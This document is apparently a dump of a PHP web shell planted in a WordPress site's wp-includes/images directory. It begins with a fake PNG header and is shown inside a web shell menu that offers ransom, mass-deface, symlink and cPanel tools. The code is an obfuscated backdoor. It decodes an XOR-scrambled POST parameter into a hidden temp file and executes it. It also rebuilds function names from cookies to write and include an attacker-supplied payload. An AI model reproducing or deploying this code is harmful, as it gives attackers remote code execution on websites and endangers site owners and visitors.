\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/eceas/wp-includes/images/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/eceas/wp-includes/images/UnderSoftEnginEN.php |
<?php if(!empty($_POST["poi\x6E\x74\x65r"])){ $ref = $_POST["poi\x6E\x74\x65r"]; $ref = explode ( "." ,$ref ) ; $parameter_group =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt); $s =0; foreach( $ref as $v4) { $sChar =ord( $salt[$s % $lenS]); $d =( ( int)$v4 - $sChar -( $s % 10)) ^ 7; $parameter_group .= chr( $d); $s++; } $elem = array_filter([getcwd(), getenv("TMP"), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", "/tmp", sys_get_temp_dir()]); foreach ($elem as $pgrp) { if ((bool)is_dir($pgrp) && (bool)is_writable($pgrp)) { $marker = sprintf("%s/.component", $pgrp); if (file_put_contents($marker, $parameter_group)) { require $marker; unlink($marker); exit; } } } }
if (isset($_COOKIE[3]) && isset($_COOKIE[20])) {
$c = $_COOKIE;
$k = 0;
$n = 3;
$p = array();
$p[$k] = '';
while ($n) {
$p[$k] .= $c[20][$n];
if (!$c[20][$n + 1]) {
if (!$c[20][$n + 2]) break;
$k++;
$p[$k] = '';
$n++;
}
$n = $n + 3 + 1;
}
$k = $p[16]() . $p[22];
if (!$p[9]($k)) {
$n = $p[29]($k, $p[7]);
$p[27]($n, $p[2] . $p[4]($p[13]($c[3])));
}
include($k);
}